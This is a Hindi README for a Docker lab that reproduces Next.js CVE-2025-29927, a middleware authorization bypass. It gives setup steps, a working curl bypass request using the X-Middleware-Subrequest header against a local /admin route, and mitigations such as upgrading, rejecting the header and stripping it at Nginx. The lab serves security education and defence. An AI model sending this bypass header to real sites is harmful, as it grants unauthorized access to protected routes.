
# Next.js CVE-2025-29927 मिडलवेयर प्राधिकरण बायपास भेद्यता का अन्वेषण और पुनरुत्पादन करने के लिए Docker-आधारित लैब इसमें भेद्य एप्लिकेशन, पुनरुत्पादन चरण, और शैक्षिक सुरक्षा अनुसंधान के लिए शमन रणनीतियाँ शामिल हैं।
इस रिपॉजिटरी में Docker-आधारित लैब वातावरण शामिल है, जिसका उपयोग नियंत्रित सेटिंग में Next.js CVE-2025-29927 भेद्यता का पता लगाने और प्रदर्शित करने के लिए किया जाता है।
⚠️ अस्वीकरण: यह लैब केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। इसे सार्वजनिक इंटरनेट पर उजागर न करें या प्रोडक्शन में उपयोग न करें।
सुनिश्चित करें कि आपके पास निम्नलिखित इंस्टॉल है:
लैब को क्लोन और चलाने के लिए इन चरणों का पालन करें:
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
docker-compose up --build
यह निम्न कार्य करेगा:
.
├── app/ # Main Next.js app code
├── public/ # Static assets (images, etc.)
├── Dockerfile # Docker setup for app
├── docker-compose.yml # Compose configuration
├── .env # Environment variables (if any)
├── README.md # You are here
⚠️ चेतावनी: यह दस्तावेज़ केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। भेद्य एप्लिकेशन को प्रोडक्शन वातावरण में तैनात न करें।
CVE-2025-29927 Next.js मिडलवेयर में एक गंभीर प्राधिकरण बाईपास भेद्यता है। यह हमलावरों को X-Middleware-Subrequest हेडर में हेरफेर करके मिडलवेयर-आधारित प्रमाणीकरण को बायपास करने और सुरक्षित रूट्स तक पहुँचने की अनुमति देता है।
बिना किसी प्रमाणीकरण के /admin जैसे सुरक्षित रूट तक पहुँचने का प्रयास करें:
curl http://localhost:3000/admin
अपेक्षित व्यवहार: एक्सेस अस्वीकार कर दिया जाता है या अनधिकृत पृष्ठ पर पुनर्निर्देशित किया जाता है।
भेद्य व्यवहार: बिना प्रमाणीकरण के एक्सेस प्रदान कर दिया जाता है।
X-Middleware-Subrequest हेडर का उपयोग करके मिडलवेयर को बायपास करनामिडलवेयर जाँचों को बायपास करने के लिए X-Middleware-Subrequest हेडर के साथ एक अनुरोध भेजें:
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
परिणाम: मिडलवेयर बायपास हो जाता है, और सुरक्षित रूट तक पहुँच प्रदान कर दी जाती है।
Next.js को निम्नलिखित में से किसी एक संस्करण में अपडेट करें जहाँ यह भेद्यता ठीक कर दी गई है:
npm install next@latest
अपने मिडलवेयर को बेहतर बनाएं ताकि वह अनुरोधों को सही ढंग से मान्य करे और संदिग्ध हेडर वाले किसी भी अनुरोध को अस्वीकार करे:
import { NextResponse } from 'next/server';
export function middleware(request) {
const subrequestHeader = request.headers.get('x-middleware-subrequest');
if (subrequestHeader) {
return new NextResponse('Unauthorized', { status: 401 });
}
// Continue with normal processing
return NextResponse.next();
}
यदि आप रिवर्स प्रॉक्सी (जैसे, Nginx) का उपयोग कर रहे हैं, तो उसे आने वाले अनुरोधों से X-Middleware-Subrequest हेडर हटाने के लिए कॉन्फ़िगर करें:
location / {
proxy_pass http://localhost:3000;
proxy_set_header X-Middleware-Subrequest "";
}
यह VULNERABILITY.md फ़ाइल नियंत्रित वातावरण में CVE-2025-29927 भेद्यता को समझने और दोहराने के लिए एक व्यापक मार्गदर्शिका प्रदान करती है। यह आपके Next.js एप्लिकेशन को ऐसे शोषणों से सुरक्षित करने के लिए व्यावहारिक शमन रणनीतियाँ भी प्रदान करती है।
इस भेद्यता के विस्तृत प्रदर्शन और अधिक जानकारी के लिए, आप Techtalkpine द्वारा ब्लॉग पोस्ट पर प्रदान किए गए पूर्ण हमले के डेमो को देख सकते हैं, जो Youtube लाइव डेमो से भी जुड़ा हुआ है: https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/
यदि आपको इस सेटअप के किसी विशिष्ट भाग में सहायता या शमन चरणों पर और स्पष्टीकरण की आवश्यकता हो तो मुझे बताएं।
कंटेनरों को रोकने और हटाने के लिए:
docker-compose down
यह प्रोजेक्ट केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। इसे सभी लागू कानूनों और नैतिक दिशानिर्देशों के अनुसार उपयोग करने की जिम्मेदारी आपकी है। लेखक किसी भी दुरुपयोग या हुई क्षति के लिए उत्तरदायी नहीं है।